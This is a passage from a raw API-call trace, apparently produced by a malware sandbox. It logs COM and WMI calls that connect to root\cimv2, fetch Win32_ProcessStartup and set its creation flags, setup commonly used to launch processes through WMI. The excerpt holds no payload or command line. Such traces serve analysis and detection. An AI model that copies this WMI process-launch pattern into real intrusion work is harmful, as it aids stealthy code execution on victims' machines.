[2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bb9d8b0) returned 0x0 [0145.703] WbemLocator:IUnknown:AddRef (This=0x1bb9d8b0) returned 0x3 [0145.703] WbemLocator:IUnknown:Release (This=0x1bb9d8b0) returned 0x2 [0145.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fb50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0145.703] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fb50, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0145.703] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fb50, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0145.703] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bb9d8d0) returned 0x0 [0145.703] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bb9d8d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc0b690) returned 0x0 [0146.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b690, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc43be0) returned 0x0 [0146.015] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43be0, pProxy=0x1bc0b690, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0146.015] WbemLocator:IUnknown:Release (This=0x1bc43be0) returned 0x1 [0146.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b690, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc43c20) returned 0x0 [0146.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b690, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc43be0) returned 0x0 [0146.015] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43be0, pProxy=0x1bc0b690, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0146.016] WbemLocator:IUnknown:Release (This=0x1bc43be0) returned 0x2 [0146.016] WbemLocator:IUnknown:Release (This=0x1bc43c20) returned 0x1 [0146.016] CoTaskMemFree (pv=0x1bbc63b0) [0146.016] WbemLocator:IUnknown:AddRef (This=0x1bc0b690) returned 0x2 [0146.016] WbemLocator:IUnknown:Release (This=0x1bb9d8d0) returned 0x0 [0146.016] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0146.016] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0146.017] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b690, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc43bf0) returned 0x0 [0146.017] WbemLocator:IRpcOptions:Query (in: This=0x1bc43bf0, pPrx=0x1bb9d6b0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0146.017] WbemLocator:IUnknown:Release (This=0x1bc43bf0) returned 0x2 [0146.017] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0146.017] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0146.017] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b690, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc0b690) returned 0x0 [0146.017] WbemLocator:IUnknown:Release (This=0x1bc0b690) returned 0x2 [0146.017] SysStringLen (param_1=0x0) returned 0x0 [0146.017] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0146.017] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0146.018] IWbemServices:GetObject (in: This=0x1bc0b690, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc76960, ppCallResult=0x0) returned 0x0 [0146.019] IWbemClassObject:Get (in: This=0x1bc76960, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0146.019] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0146.019] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0146.019] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0146.020] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0146.020] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0146.020] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.021] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bb9d8d0) returned 0x0 [0146.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d8d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0146.022] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d8d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1a97f250) returned 0x0 [0146.022] WbemDefPath:IUnknown:Release (This=0x1bb9d8d0) returned 0x0 [0146.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1a97f250) returned 0x0 [0146.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0146.022] WbemDefPath:IUnknown:AddRef (This=0x1a97f250) returned 0x3 [0146.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0146.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0146.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bb9d8f0) returned 0x0 [0146.022] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d8f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.022] WbemDefPath:IUnknown:Release (This=0x1bb9d8f0) returned 0x3 [0146.022] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0146.022] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0146.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0146.023] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x2 [0146.023] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x1 [0146.023] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0146.023] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0146.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1a97f250) returned 0x0 [0146.023] WbemDefPath:IUnknown:AddRef (This=0x1a97f250) returned 0x3 [0146.023] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x2 [0146.023] WbemDefPath:IWbemPath:SetText (This=0x1a97f250, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0146.023] IWbemClassObject:Get (in: This=0x1bc76960, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a17d8*=0, plFlavor=0x27a17dc*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a17d8*=19, plFlavor=0x27a17dc*=0) returned 0x0 [0146.023] IWbemClassObject:Get (in: This=0x1bc76960, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a17d8*=19, plFlavor=0x27a17dc*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a17d8*=19, plFlavor=0x27a17dc*=0) returned 0x0 [0146.023] IWbemClassObject:Put (This=0x1bc76960, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0146.023] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fd90, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0146.023] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0146.023] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0146.023] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.024] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0146.024] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0146.024] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0146.024] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.025] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1a9db7d0) returned 0x0 [0146.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db7d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0146.026] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db7d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1a97f790) returned 0x0 [0146.026] WbemDefPath:IUnknown:Release (This=0x1a9db7d0) returned 0x0 [0146.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1a97f790) returned 0x0 [0146.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0146.026] WbemDefPath:IUnknown:AddRef (This=0x1a97f790) returned 0x3 [0146.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0146.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0146.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1a9db730) returned 0x0 [0146.027] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db730, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.027] WbemDefPath:IUnknown:Release (This=0x1a9db730) returned 0x3 [0146.027] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0146.027] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0146.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0146.027] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x2 [0146.027] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x1 [0146.027] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0146.027] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0146.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1a97f790) returned 0x0 [0146.027] WbemDefPath:IUnknown:AddRef (This=0x1a97f790) returned 0x3 [0146.027] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x2 [0146.027] WbemDefPath:IWbemPath:SetText (This=0x1a97f790, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0146.027] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0146.027] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0146.027] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.027] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0146.027] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0146.027] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0146.027] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.028] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1a9db5d0) returned 0x0 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db5d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0146.029] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9db5d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1a9db4b0) returned 0x0 [0146.029] WbemLocator:IUnknown:Release (This=0x1a9db5d0) returned 0x0 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1a9db4b0) returned 0x0 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0146.029] WbemLocator:IUnknown:AddRef (This=0x1a9db4b0) returned 0x3 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0146.029] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0146.029] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0146.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 